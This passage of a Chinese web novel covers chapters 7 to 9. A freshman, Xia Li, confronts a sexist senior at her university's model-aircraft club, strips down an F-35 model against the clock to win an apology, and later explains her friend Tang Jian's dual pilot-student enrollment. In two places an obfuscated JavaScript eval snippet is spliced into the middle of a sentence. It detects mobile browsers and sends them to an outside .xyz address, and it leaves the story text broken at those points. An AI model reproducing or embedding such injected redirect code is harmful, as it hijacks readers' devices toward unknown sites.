不过,比起唐简因为讨厌一个人而不去做某事,此刻更让夏篱陷入怀疑的是——现在这二十一世纪竟然还有用那种亮滋滋的摩丝把头发整成大背头的人呢? 可真油你的朋友。 后知后觉自己在这窗口扒着头像个小贼似的,夏篱脚跟落到地上,转身问他,“所以今年招新是他负——”她话突然顿住。 ——夏篱没想到唐简竟然还在她身后,人看着近在咫尺的喉结愣了愣。 她眼看着那刀尖似的东西仿佛电影慢镜头似的上下滑动一下,再回过神来时,就见唐简低垂着一双好看的……呸呸呸,低着一双欠打的眼睛一脸莫名其妙地睨着自己打了个响指,“发什么呆呢,小矮子。” 夏篱:“…………” 唐建军,你完了。 7.第 7 章 夏篱生平最讨厌别人拿身高说事——尤其这个“别人”名字还是叫唐简的时候。 她的手和脚比她脑子的反应更快,等她回神时,它们已经全凭自己意志地往他身上招呼了过去—— 只可惜男女天生悬殊的生理和力量差距总是天不遂人愿的…… 随后赶过来的方茴和辛恬看到的就是眼前这一幕滑稽的场景:一个面无表情却眉梢含笑,一个面红耳赤却怒火中烧。 面无表情的那个面对面把面红耳赤那个的双手交叉在身前以防她偷袭自己,两只脚还得不时地转移着阵地,免得一个不小心就被夏篱抬起的脚给踩成个残废。 她们二人默默对视一眼,同时从对方眼里看出来一句话:咱们还要不要上前去? 而就在两人脑子里天人交战时,下一瞬,唐简以一个方茴和辛恬都没看清楚的迅疾动作,将原本除了两只手浑身都能动弹的夏篱一下子固定在了门边墙上一动也不能动了。 “……”没眼看。 “……”没眼看。 “好了,你朋友来了。”唐简仿佛轻叹似的说了这么一句。 同时松了控制着夏篱两只手的手和压制着她两个膝盖的右腿,人也往后退了一步和她拉开些距离。 ——然而这话在夏篱听来,却仿佛刚刚那一切都是她在无理取闹没事找他事一样。尤其此刻唐简两手插在裤子口袋里,人瞬间又变回了那个在外人眼里闲散疏离的乖戾模样——看着就更是如此了。 唐建军啊唐建军,没想到你还是个表演型人格啊?!夏篱瞪大眼看着唐简上下打量,眼神里全是这句话。而对面唐简的反应也很好品,只见他微微抿了下唇,以一个英国绅士的姿势对她偏头轻轻点了一下,仿佛是在回应她:是的,小姐。 夏篱震惊了。 她没想到唐建军竟然也这么记仇! 他竟然在报那天在家里她使诈让他回家给自己拿虾还有骂他没品味的仇! 小人做派,妥妥的小人做派! “篱篱,”辛恬眼珠子在面前两个看着沉默不言眼神却仿佛已经大战八百回合的人——当然,主要还是明显怒火中烧的这位主动在战。她走过去,小声问她,“你来这打算干嘛呀?” “加社团!”夏篱自认非常能让对方感受到自己很不爽的、非常凶狠地瞪了某人一眼,然后活动了两下自己手腕,推门往活动中心里面走。 方茴跟辛恬跟在她身后进去,前者看到她直冲着航模社过去,也不无惊讶道,“哎你昨天不是说这航模社明天才开始招新的吗?怎么现在突然开始了啊?” “你要加航模社呀?”辛恬则是不怎么意外地随口问了句。 ——因为无论是报道那天夏篱身边随处可见的飞机配饰,亦或是她去她宿舍时看到她床上的航模抱枕和桌上随处可见的小模型,都能看得出来她对这方面都不仅仅只是兴趣而已。 “对。但我也不知道他们怎么突然改时间了,”夏篱回,又道,“反正今天明天也没差吧。” “说的也是。” “那刚刚唐简学长拉你过来这里是在告诉你这个吗?”辛恬回头瞧了眼远远缀在他们身后的人,“学长也是航模社的?不过打个电话说一声不就行了,为什么还非得亲自把你叫过来?” “谁知道他发的哪门子神经。”夏篱嫌弃道,随后又有问必答地摇摇头,“不是,他大一没加社团。” 三人说着话,人已经到了航模社招新摊位前。 察觉到有人靠近,夏篱方才在门外看到的大背头头也没抬地从一旁捻过来一张报名表拍到桌上,“先填表。” 辛恬和方茴在夏篱身后对视着同时撇了撇嘴。 倒是夏篱的反应却仅仅只是抬了抬眉毛,然后一屁股坐到大背头对面的红色塑料凳子上。视线在桌子一侧那架J-2190仿真模型上停了几秒,才从一旁笔筒里抽出来一支黑色碳素笔。 夏篱也就是刚刚写完了名字,还没来得及看下一格是什么,就见报名表被对面一只手突地给盖住了。她抬头,看见大背头拧着两条眉毛上上下下打量她,“女的 ?” 夏篱看着他眨眨眼睛:“如你所见?” “……”大背头嗖——一下把那张报名表从夏篱笔下抽回去,下巴往旁边一抬,“我们社不招女生。到旁边手工社玩去。” “喂你这人怎么说话呢!”身后的方茴看不下去了,走到夏篱身边冲着大背头拍了下桌子。 大背头继续拧着眉毛抬头看了方茴一眼,随即不想再多费一点口舌似的冲着两人摆了摆手,意思是:赶紧走吧。 夏篱握了握方茴气得快发抖的手,看着对面心平气和问:“请问咱们学校航模社哪条规定说了只招男生不招女生的?” 大背头往后靠到椅子上,翘起来一条腿低头继续玩着手里的魔方,“没规定,但我们不招。” 夏篱往旁边看了眼,或站或坐在大背头后头的几个人对上他目光,皆是尴尬又无能为力似的冲她笑笑,然后移开了眼。 夏篱明白了。 她看着面前的大背头,了解到眼前这个东西应该是社里的一个小领导。 那如果一直想拉唐简入社的不是眼前这个,也就说明他至少不是社长,所以……副社? 可不管是副社还是别的,以眼前这东西的德行,怪不得唐简就算那社长三顾茅庐也不愿意进来了。 夏篱回头去找“明知山有虎偏把她引上山”的罪魁祸首——这才发现不知何时身后除了方茴和辛恬,还零零散散站着几个看热闹的人。但即便如此,她还是一眼瞅见了立在几人身后不远处,两手插着口袋目光灼灼看好戏似的盯着自己的唐建军同志。 然而唐简仿佛早料到夏篱会回头去找他一样,在她目光逡巡过来时,对着她挑了挑自己那双英挺的眉毛。 夏篱:……你待会等着吧! 刚才在活动室外从唐简那受到的“委屈”此时仿佛猛兽觉醒般自夏篱的内心深处一涌而上,她扭回来头,双手抱胸目光冷然地盯着对面的大背头,故意扬声道:“要不是我自己坐在这,知道自己是在国内乃至国际上都赫赫有名的高等学府里,还以为自个儿考进了深山老林呢。没想到啊没想到,我在自己学校里竟然还能碰见像学长这样‘重男轻女’,觉得女生只能绣花做手工,连航模是什么都不知道的、瞧不起女生的人呢!” 大背头:“……” 他显然也没想到这明明看起来挺好欺负的一个软妹子竟然会这么大声地当众说这些,两条眉毛拧得更紧的同时,脸也因为周围越来越多的人涨得有些红。他一拍桌子站起身,指着夏篱的鼻子道,“你说话给我小心点!” 夏篱却是一动没动,连眼睫毛都没颤一下地和他四目相对,“那请问我哪句有说错了吗?” 大背头跟她冷冷对视了半晌,突然冷哼了声,直起身子居高临下地看着夏篱,“行。你不是说我瞧不起女生么?不是想加航模社么?”他大拇指一指身旁的那架J-2190仿真模型,提提嘴角,“这架机子光电路焊点就有两百多个,你告诉我,你分得清无刷电机和舵机接线吗? “航模不是过家家,组装、调试、维修,没点机械底子根本玩不转。 “说我瞧不起你们女生只会绣花做手工,那也不瞧瞧你们自己干了什么?我们是要真刀真枪动手打比赛的,不是让你们来拍短视频做炫资当网红的!” “所以呢?因为一两个目的不纯的,你就一棒子打死所有女生,连我们这些真正热爱真正有兴趣的,也一点入门的机会都不给?” 似乎是没料到眼前这女孩会这么杠,大背头舌尖抵了抵右腮,点着头回身亲自从后边展示架上取下一架F-35的仿真模型,啪地放在桌上,“这是社里入门级的训练机,你要真这么能,给大伙说说它的动力配置和控制原理?” 大背头话音刚落,即使是他身后的“哑巴们”看着夏篱的目光都掺了些“不忍心”——这架模型虽然标着“入门级”,但内部结构特别复杂,甚至不少老社员都未必能完全拆解明白。 夏篱一开始没说话,只是伸手把模型搬近了些,拿指尖在机翼上轻轻抚了抚。 “无刷外转子电机,40A电调,2.4GHz接收机,”少顷,她语气平静地开口,看着模型的眼神跟方才和大背头四目相对时完全变了,仿佛在看这世上自己最心爱的东西,“四个9g金属齿轮舵机控制副翼、升降舵和方向舵。” “这架F-35电池仓在机身中部,起落架可收放,”夏篱轻轻推了推舵面的控制臂,说,“右主轮联动杆有点卡滞,应该是之前降落时撞歪了。” 夏篱说到“四个9g金属齿轮舵机”时,大背头的脸色已经变了。但她甚至没给他反应的时间,从桌上收纳盒里拿出一把多功能螺丝刀,手指翻飞间,机身底盖的螺丝已经被夏篱利落地卸下三颗。 “你干什么!”大背头急了,伸手就去夺她手里的螺丝刀——但东西被夏篱在掌心里转了两圈给闪过了。 “你不是要考核吗?”夏篱看着大背头,歪着脑袋学他嘴角提个笑,说,“纸上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15569712|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谈兵多没意思。” 她低头示意,“这种中等复杂度的仿真机正常拆解时间在40分钟到两个小时之间,你现在可以开始计时,如果我拆它超过30分钟,我二话不说给你道歉离开,并且以后在学校哪怕只要远远看见你都绕道而行;相反,假如我没超过,其他不用,我只要你一句真心实意的道歉。如何?” 或许是因为刚刚夏篱只两眼就对这架模型内里的一切知之甚清,也或许是因为此时她看着自己的目光太过炯炯有力,这一瞬间,大背头其实是有些发怵的,尽管还没开始,他却有种自己已经败了的错觉。 然而此时周围实在是围了太多人了,无论如何他都没有退缩的空间。 况且稍微冷静下来后,他想30分钟?他以他从小学玩模型从初中开始参加各种比赛的经验来笃定,这根本是个不可能的时间! “好啊,”大背头迎着夏篱几近放肆的目光,轻哼了声,拿出手机调出秒表,“我给你这个机会。” 他说着话已经按下了开始键,人群里有人替夏篱鸣不平地轻“哎”了声。 但夏篱并没在意。 她只是很低调地默默翻了他一个白眼。 而当夏篱指尖触到冰凉合金蒙皮的瞬间,整个活动室的空气仿佛都被按下了静音键。 ——记住,拆卸不是破坏,而是让机械回到它最舒服的形态。 耳边响起九岁那年,她在外公工作室里第一次摸到J-2190仿真模型时外公认真告诫自己的这句话。 那天夕阳把外公工作室的玻璃窗熔成金红色,空气中也浮动着松香和金属冷却剂的味道。 从霞彩漫天到星子散落。 外公握着她的手腕,带着彼时满是好奇却一脸懵懂的她一一拆解过它的214个快卸锁扣,也引领着她稚嫩的指尖划过它身上每道可见或不可见的隐秘接缝。 那时候还是小小一个的她第一次感受到那藏在坚硬蒙皮下的自锁榫卯被拆开时自指腹传来的蚂蚁啃噬般的震颤,也看到了在整片垂尾如绽放的机械花瓣般层层展开后里面蓝宝石色的轴承舵机转动链。 时隔九年,夏篱依然清晰记得当时自己掌心出的汗,也记得那些黄铜柄的微型工具在光线下泛着蜂蜜般的耀眼光泽。 此时,活动馆的日光灯很亮。 她知道今天的自己不能出任何差错。 夏篱隐隐深吸一口气,左手拇指精准卡住机腹蒙皮接缝处的应力集中区,右手执梅花螺丝刀倾角刺入第一枚沉头螺钉,紧接着腕关节以每秒三次的频率高频震动——这是外公手把手教她的“蜂鸟振翅“手法,专门对付这类规格的钛合金紧固件。 ——蜂鸟振翅。 外公说当年他给歼击机设计快拆结构时,曾在黄山看了一整个月的蜂鸟悬停。 桌上匣盒里,螺丝刀、镊子、尖嘴钳被交替拿起又放下。 众人只见夏篱的动作快得惊人。 “叮——” 第三十六枚螺丝落入防静电托盘时,那声轻响仿佛让时光倒流回九年前的那个黄昏。 碳纤维加强的机身蒙皮如蝴蝶展翅般向两侧分离,夏篱用尖嘴钳夹住插头,以逆时针黄金角度断开主电源线,至此,里面蓝白相间的硅胶绝缘线束一览无余。 “你们这是学得去年全国高校航模赛冠军机的走线方式。“夏篱扫了眼里面的排线,说话时右手已经卸下固定舵机的铝合金支架,随即她又摇摇头道,“但你们把Y线接在副翼混控通道上,这会导致横滚速率比设计值慢至少0.3秒。” 到这里,大背头身后的几人脸上表情已经不能用震惊来形容了。 “7075-T6铝合金,阳极化处理层厚度应该在12μm。” 夏篱说着,突然捏起那根变形的起落架联动杆,将连杆抵在桌沿,右手从匣子里翻出微型橡胶锤,三记间隔0.5秒的精准敲击后,金属回弹的“zheng”声在活动中心里久久不息。 …… 等最后一块蒙皮卸下——秒表定格在27:12:32。 此刻大背头的脸色已经从难看上色成铁青了。 片刻的寂静后,身后的方茴最先回过神来鼓了第一声掌,然后掌声从稀稀拉拉此起彼伏渐渐伴随着间接的几声“牛逼”“牛”“哇靠”和口哨声中……开始变得越来越大。 因为掌声实在是响得太久,夏篱甚至起身面带微笑地转头给大家行了个淑女礼。然后她回头看着大背头礼貌地抬了抬手示意: 该你兑现承诺了。 8.第 8 章 活动室的日光灯管发出轻微的嗡鸣,空气里飘浮着松香焊锡的金属气息。夏篱指尖还沾着舵机润滑油,在灯光下泛着细碎的光。 她看着始终毫无反应的大背头,曲指轻叩了叩桌面,清脆声响在寂静的活动室里格外清晰。 身后人群里这时也有人喊了句:“人小姑娘都说到做到了,哥们是男人就道个歉吧,有啥的!” 众人附和着。 大背头额角青筋跳动,喉结上下滚动了三次,才终于从牙缝里挤出蚊子哼哼似的三个字:“对不住。” “你说什么?”夏篱歪歪脑袋,食指抵在耳后,“可能是周围太吵了,请学长你稍大点声成吗?” “你!”大背头猛地攥紧桌沿怒视着夏篱,指节泛白。 他刚有动作,不知何时悄无声息到夏篱身边的唐简已经侧身把她挡到了自己身后。 “喂——!” 夏篱有些气闷地拍了下面前过于宽阔的肩膀,显然还没撒完气。 唐简微微偏过身子抬手安抚似的在还炸着毛的夏篱头顶上胡乱一秃噜,对上她一双因为气愤而愈加明亮的眸子,低声道,“行了大小姐,得饶人处且饶人。” 夏篱闻言则一点不客气地给他瞪回去一大眼:感情刚刚被人歧视只能回家绣花做手工的不是你。 辛恬胆子没方茴大,其实她们刚过来时看着大背头那样跟夏篱说话就已经有些把她吓着了,尤其后来夏篱飞速打脸大背头时,比起周遭看热闹和方茴的鼓掌叫好,她看着大背头那像要把眼珠子瞪出来似的模样,真觉得有些吓人。 这时她在夏篱身后扯了扯她,示意她就听唐简学长的吧。 夏篱扭头看了眼辛恬,见她一脸担忧地又跟自己摇了摇头,这才抿抿唇,没再搭腔。 “唐简?”大背头明显认出了他,目光从唐简脸上移到被他挡得只留了一小撮头发在身侧的夏篱,无声“啊”了声,说,“认识啊。” “朋友。” “女朋友?”大背头哼笑。 这下还没等唐简说什么,被结实挡着的夏篱从身侧露出来半个脑袋,“怎么,男女生除了男女朋友就没别的关系了?” “有啊,怎么没有?”大背头哂笑,“炮友嘛。” 周围霎时一片静寂。 随即是此起彼伏的几声讨伐。 但大背头仿佛破罐子破摔似的浑不在意。 原本始终在大背头身后的那几个人都发现事态发展似乎有点儿太过了,连忙走上前拉住大背头看着唐简打哈哈,“口误口误,他瞎开玩笑的,开玩笑的。唐简你别跟他一般见识。” 人群里方才在夏篱开始拆解模型前就有好几个拍照录视频的,这会儿社团里几个人也怕事情越闹越大,开始上前干预了。 “道歉。” 唐简没看其他人,原本想要息事宁人的脸色在这一刹沉了下来。 他五官本就深得很有攻击性,那双浓密睫毛下的眼睛更是有着比常人都要大的黑色瞳仁。平日跟人说话做事闲散轻慢时不觉得有什么,甚至时常会给人一种挺好说话的错觉。然而寻常时候他眼里总带着几分的笑此刻全然消失的无影无踪,一双眼仿佛成了深夜里的什刹海湖面,黑的无边无际,静得阴森吓人。 大背头其实话刚说出口就有些后悔了,但显然为时已晚——原本只一句道歉的事,此时周围渐起的议论声反而把他搞得进退两难。 他身后的几人还想在中间做和事佬,唐简抬了下手示意对方别插手,一双眼始终盯着大背头一动没动。说,“道歉。我就当你刚没放那个屁。” 大背头被他这一句话说得脸青一阵白一阵,半晌他嘴硬道,“怎么,你还想打一架不成?得了吧唐简。别人或许可能,但你跟别人可不一样,你想出头?可以。考虑过你动手的后果么?” “试试。”唐简盯在大背头脸上的目光始终没变过丝毫,手背上凸起淡青血管,他捏着指骨,那咯吱响声听得人心惊肉跳。 这边的夏篱也在那几声“咯吱声”里后知后觉地回过神来,她在他身后用力拽住他胳膊,踮脚凑近唐简耳后用只有两人能听见的声音说,“算了,唐简。算了。” 唐简回头看夏篱,只一眼就看出她那双眸子里是为了什么才想让他“算了”的。 他没应她,只觉得心中更是火起得厉害,扭头看着大背头一字一顿冷声道,“最后一次,道歉。” 大背头青红着脸往前冲了一步似乎想动手,但被身后几人用力扯住了。其中一个留着个个性西瓜头的男生靠在他耳边低声说了两句话后,他眼中的迟疑一闪而过。视线落在对面唐简紧绷慑人的身影上。 他知道自己同学说得是对的——唐简敏感的身份是把双刃剑。 但这件事起因在他,哪怕眼下就是两人动了手,他也讨不了好去。 更甚会是个伤敌八百,自损一千的结果。 所以最后大背头虽看着仍旧的极不情愿,但还是咬牙切齿地对着唐简说了句“对不起。” “不是对我,”唐简将夏篱从身后拽出来,看着大背头面无表情道,“对她。” 夏篱重新和大背头四目相对上,她看着他眨了眨眼。 大背头脸上的表情明显是不想再开口的,但最终还是没架住身后几人给他的窃窃私语,看着夏篱生硬地说了句“对不起”。 夏篱这次却是迫不及待地朝他点点头,“嗯嗯行,我原谅你了。” 她说完这句话也没再看他,只是拿起方才大背头一直拿在手里玩了半天的五魔方上下左右看了两眼,然后手起刀落,把复原完成的东西轻轻放到原位上。 “Sloved.” “……” “……” “……” 夏篱在一阵唏嘘不已和大背头更是气恼怒目的注视下,转身用力拉住仍旧还有点上头的唐简就往活动室门口走了。 这下方茴和辛恬也是反应了好半天,才慢慢张大嘴对视一眼,然后终于回神似的小跑着去追已经快走到门口的两人。 她们在门外追到人,即使是已经认识了一星期,方茴还是忍不住又仔仔细细地上下打量着夏篱,难掩惊诧地问她,“小姐,假如你现在跟我说你会飞我也不会有丝毫怀疑的。”她说完,还真的一脸认真地问了夏篱一句,“你会吗?” 一旁的辛恬没说话,但一如既往地以一种殷勤的目光看着夏篱,显然也是在等答案。 “……我当然不会飞。”夏篱却没像以往那样顺着方茴的话开玩笑。 她这会儿人其实是有点急的,但事情关乎唐简,她也并不想让室友看出来,只能看着室友用力以目光瞥了眼一旁仍旧还“黑”着脸的某人,希望她们能“懂事点”。 可见一周的相处也不是白相处的,方茴接收到夏篱的暗示,忙道:“刚才太过瘾了,大波和苗苗没在真可惜,我现在已经迫不及待想去跟她们那两个小可怜八卦八卦了,那我和恬恬先走了啊篱篱,拜拜!” …… 室内活动场虽然很大,但显然没有夏篱他们刚在里面闹得动静大。 夏篱和唐简两人站在活动场正门口,不时就要被从里面出来的人行注目礼。夏篱深深吸了口气又叹出来,说,“你能找个安静点没人的地方吗,学长。” “……”唐简因为那声“学长”终于低眉瞧了她一眼。 他没应她的话,两手插在裤兜里的动作也一动没动,只是冲她晃了下胳膊,脚跟一转示意她跟上。 要说从小到大夏篱挺不喜欢唐简的一点……其中一点,就是他真生气的时候会变成个蚌壳——还是怎么撬都撬不开的那种。 夏篱跟在唐简身后七拐八拐地被他带到了学校平时休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15582217|171353||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时间人……最多的月亮湖边上。 “……”夏篱看着唐简找了块没什么人的草坪随地坐下,有些无语的嘀咕,“你要不要回去重读下小学重新理解下什么是‘安静点没人的地方’?” ——这地方除了听不到别人具体在说什么,那是跟“安静”和“没人”一点关系都没好吗。 不过夏篱嘴里虽然是抱怨着,人还是跟着坐到了唐简旁边。 夜幕悄悄降临。 远处似乎传来几声断断续续的吉他练习声。 夏篱看着唐简从草坪里捡起个小石子丢进湖里,月光在湖面碎成千万片银鳞。 她斟酌了半晌,还是无厘头的开了口,“说实在的,咱们认识这么多年,我今天才发现其实你脾气还挺好的。” “……”唐简扭头看了她一眼——‘你是不是有什么毛病’的一眼。 夏篱看出来了,她本能抬脚踹了他一脚——这次唐简没躲——懒得躲。 好在这会儿夏篱也没心思真的跟他闹,用的力气跟猫挠差不多。 “我认真的啊。”她边说着边抬手拍了拍唐简肩膀,一副“孺子可教也”地说,“你看那大背头说那么难听的话你都成功忍住了,没真上去揍他一顿,这还不是脾气挺好呢?” “……” “不过今天这事你说是不是都怪你?” “……” “你明明知道那大背头是个什么玩意儿还故意让我去。” “ ……” “不过话说回来,也是今天正好碰见那封建玩意了,要是将来我进了社团才发现,我肯定会气到吐血。我反正是理解为什么他们社长找了你那么多次你都没松口了。” 若是将来参赛,社里的所有成员都是要签正式聘书的。一个团队若是心不齐那是肯定不行的,而如果让她跟那么个人一起合作参赛,她铁定做不了……这么一想,现在那社团里的人确实也都是人才,厉害厉害。 “哎你说句话嘛!”夏篱用胳膊肘怼怼半天仍一句话没说的唐简,“不然我给干妈打个电话,让她开导开导你?” “……” “……”没辙的夏篱也只能拿出来也不是每次都能成功的杀手锏——她说,“我数一二三,你再不说话我就走了啊?” “……” “一” “……” “二” “……” “三——” 夏篱刚抬起的屁股被唐简一把拽地摔回草坪上。“……” “你不生气?”唐简扭头看着正龇牙咧嘴的夏篱终于开了金口。 “什么不生气?”夏篱揉了揉自己屁股,皱眉反问罪魁祸首。 “陆子航说话那么难听你不生气?” “……陆子航?那个大背头名字啊?” “……嗯。” 夏篱撇撇嘴,“名字倒是人模人样的。” “……”他看她眼。 夏篱说:“他今天说的哪句话不难听了?我生气啊怎么不生气,你没看我都快气炸了嘛,刚开始你拦我的时候我都想揍你了。” “那怎么不让我真揍他顿。” 当时她在他身后扯着他胳膊的力度简直让他怀疑他只要出手她就能被自己甩飞出去。 “没必要啊。”夏篱说。 察觉到唐简转头看自己,夏篱也扭头和他四目相对,看着他又认真道,“有气撒气人之常情嘛,有时候脾气发出来气散了也就算了,但要真因为这点事就把自己未来搭进去,那就太不划算了啊。” “不划算?” 夏篱瞪大眼睛一脸“这还用问”的表情看他,用力回了他一个“你是不是有什么毛病”的眼神,“当然不划算啊!” ——不管是为了那个歧视女生只能绣花的封建王八蛋还是为了帅气迷人又超厉害的她。 9.第 9 章 夏篱一战成名。 那天晚上也不知道谁最后还是把拍的视频发到了学校论坛上,事实证明,刚从紧张刺激的高三生活的重压下释放……大学生们确实也挺闲的——那视频以每分钟30个回复的速度顺利被顶成了热帖。 最先发现这事的,还是学新闻的方茴的同班同学转发了帖子链接给她,向她确认视频里的“机械女神”是不是她宿舍里那个挺漂亮天天踩着滑板的女孩。而这也就算了,第二天夏篱吃完唐简照例给她人工送过来的“爱心早餐”收拾好东西准备去操场集合时,罕见地一大早收到了她父亲大人雷镜的电话。 “宝贝,你在网上火了。”电话那头的雷父温和慈爱地柔声问,“要爸爸把视频热帖那些都给你撤下来吗?” “啊?”夏篱感觉自己好像又重新起了一次床,没睡醒似的懵圈,“什么火了?” 这边身价万万亿的柏悦集团董事长雷镜正坐在偌大的班台后面划拉助理刚给他拿过来的平板,上面正是网上被疯传着的视频。 热搜tag——《北城大学新生机械女神》 被剪辑过的视频里,他宝贝闺女正以无比娴熟的手速拆解着一台F-35模型——这类东西雷爸爸可是一点不陌生。 因为自己老丈人的关系,自己从小一块长大的老婆就是航模爱好者,不过自己老婆也仅限于玩玩拼装罢了。 可自家小姑娘就不一样了。 周岁抓周不仅从一众黑卡、房产本和彩票本等等中毅然决然地爬向了外公作为总设计师的J-2190战机模型,甚至抓周结束都还抱着不撒手,并且谁要想从她手里拿走就跟谁急。 再后来,他家小姑娘自小就在这方面展现了简直非人般的天赋——四五岁的年纪,在其他小朋友可能都还不知道乐高是什么时,她就已经能成功拼成1:48的仿真模型了。 而除此之外,夏篱从小到大喜欢的东西也很广泛,并且只要是她喜欢的、有兴趣的,在自家长辈无限宠溺的支持下,她也总能将那喜欢做到最好最极致。 就如同滑滑板——即使五岁那年她因为练习Ollie(豚跳)不小心气得把脚摔骨裂住了一个多月的院,康复后她最终也还是把它练成了。且不仅练成了这个,甚至达到了如今可以和专业参赛选手入门级别的程度。 还有小学时可以不厌其烦地把所有闲杂时间都用来背公式练习,只为了最终以绝对优势打败那个经常在她面前炫耀自己会玩魔方的小胖子。 甚至还有十天前刚拿到手的篮球教练资格证…… 因为家里长辈们的宠爱——尤其是又帅又多金还老婆女儿奴的雷爸爸这个宠闺女狂魔,夏篱自小收到的航模礼物小到指甲盖大的迷你版,大到1:3的某国际航模公司珍藏版的某机型超真实模拟机……少说加起来也有几千架。所以夏篱名下甚至有栋房子就是专门放自己这些模型的,说是一间小型航模博物馆也丝毫不为过。 像视频里这架F-35舰载机型,夏篱12岁那年Freewing前脚推出带矢量推力喷口的1:8F-35C模型,雷爸爸后脚就给自家闺女买了回去。 而至于今天短视频这事,则是因为柏悦集团公关部其中有个老员工一眼认出来视频里董事长家那从小恨不得揣兜里走哪带哪的宝贝疙瘩——以他们专业人士的角度,这种被剪辑过后疯传的视频,还是在刚开学没多久这时间点上,结果无外乎跟学校借势宣传脱不了干系。不过这老员工还是跟自己上司报告了一下,很快,刚好有事到公司的雷镜就看着屏幕里的自家宝贝打过来了这个让当事人无比懵圈的电话。 夏篱把电话按了免提,自己随便点开了个微博看,还真从几个热搜词条里看到了自己。不过在看见热搜视频里只有那段她拆解模型的片段后,才默默松了口气。但她还是在随手翻了两页评论看到竟然有本校人认出来这是在北城大学的活动室还说要去论坛看看有什么更多消息时忙给自己老爸道:“撤撤撤,亲爱的爸爸,撤撤撤。” 真是老太太爬树比猴快——你说奇怪不奇怪。 她又不是跟老妈年轻的时候——当然!夏引之女士现在也很年轻……但她又不是跟老妈以前一样拍过电影当过几年的大明星,怎么拆个模型还上到热搜上了? 夏篱又跟爸爸多聊了几句,在确定事情不用自己担心后,她才放心地把电话挂了。她背好装了水杯和防晒的小包转身刚想问问室友们准备好走了没,就被不知何时齐整站在自己身后的三人给吓了一跳。 “篱篱……”乐苗圆乎乎的脸上表情已经不能用震惊来形容了,“虽然我之前看你那张全家福还有你平时低调却奢华的吃穿用度大概知道你是个富家小姐,但……有钱全网撤热搜的家庭到底是什么样的啊?” 她一个平民老百姓真是没办法不好奇! 梁清波试探着问:“你家不会也像有些小说里说的那样从家到家门口都要开车吧?” 方茴执着:“你真的不会飞吗?” 夏篱:“……” 夏篱说:“我可以保持沉默吗。” 方茴:“……” 梁清波:“……明白了。” 乐苗:“……你可以不要云了。” 要说现在这个无孔不入的时代,即便动作再快,仿佛都会有个尾巴留下来。 也不知道是不是夏篱的错觉,总觉得今天她到操场这一路上时不时就有人以一种“是不是就是她呀”……的眼神看着她。 这天中午,唐简虽然因为有事没去食堂给她占位子打饭,但还是给她点了外卖到宿舍。对此夏篱倒还挺高兴的——因为她实在是也很不想到食堂给别人当猴子好奇。 虽然网上搜相关tag已经不会有视频等信息跳出来了,但学校论坛里却时不时的还是一直有关于她的帖子冒出来。 “你放心吧,这种事最多也就两三天的热度,等下个新闻出来,论坛里没人讨论你这事也就过去了。”方茴原本只是想要如此安慰一下她的,可说到这里却突然想起来一件事,“对了篱篱,昨天从活动馆出来,因为你‘赶’我跟恬恬走我还有个问题没来得及问你呢!” 夏篱:“什么?” “就是那个梳着大背头的男生放完屁,唐简学长要揍他,他说唐简学长跟别人不一样,承担不了动手的后果什么的……那是什么意思?唐简学长怎么了,为什么跟我们不一样?” “唐简是双学籍啊。”夏篱说。 “双学籍?”梁清波眨眨眼,“我只听过双学位……” 乐苗咬着冰棍也凑过来:“……我也知道双学位。” “所以什么是双学籍?两个学籍?” 夏篱说:“……百度一下你就知道。” 三人:“……” 一会儿,乐苗圆脸皱巴巴道:“……我百度了半天,就说是飞行员和大学生双重身份......但这也太抽象了吧?” 梁清波也说:“对啊,我记得唐简学长不是航空学院的吗?还跟你学的一个专业。可你是要当飞机设计师的,那他怎么又成飞行员了?总不能像孙悟空拔根毛分身吧?” 夏篱原本没什么心思聊的,但听见梁清波最后说的那句却被逗笑了一下,给她们说了个去年很火的一部飞行员题材的电影,说:“……所以他就像电影里那些飞行员一样,既要开战斗机又要懂航空工程。咱国内是从十年前开始搞’双学籍’试点的,简单说就是——”她竖起两根手指,“通过空军招飞体检和高考双重选拔的人,先在我们学校这类顶尖高校读两三年的航空专业,再去海军航大接受飞行训练,这样等他毕业,既能拿咱们学校的学位证,也能直接进部队当飞行员。” “……”方茴闻言拿薯片的手顿了顿,“听着感觉好厉害。” “不是听着,而是就是很厉害,”夏篱说,“而且双学籍政策选拔可比高考难多了。” “……”乐苗问,“比你考理科状元还难吗?” “当然。”夏篱就事论事,“双学籍首先高考分数就得过重本线,去年镜市理科重本线是658,唐简考了701,只比理科状元低两分。”她在对面三人张大嘴的同时,继续说,“然后还得通过空军招飞的初选——身高、体重、视力,身上不能有疤甚至不能有智齿……” 乐苗咬着雪糕棍听得入神:“然后呢?体检过关就行了吗?” “当然不是。复检还要参加全面体检、心理测试、政治审查……”夏篱不知想起什么,不自觉地叹了一口气,“对,还需要考抗眩晕——就是坐在那种会360度狂转的椅子上连续转15分钟不吐……反正,不仅要当学霸还要当超人体能怪就对了。” 方茴:“……魔鬼。” 乐苗:“…………非人类。” 梁清波:“……简直人类魔鬼。” 但是!不能不说,她听完这些思绪蠢蠢欲动! 一个飞机设计师!一个飞行员!这让人怎么能忍住不发散下思维! 但她又没法开口当场嗑一个! 真是!嗐! 可夏篱反而在跟她们科普过后,心里越来越不是滋味。 饭吃了一半就没胃口吃了。 她把剩下的收拾起来爬到床上,还是点开了论坛。 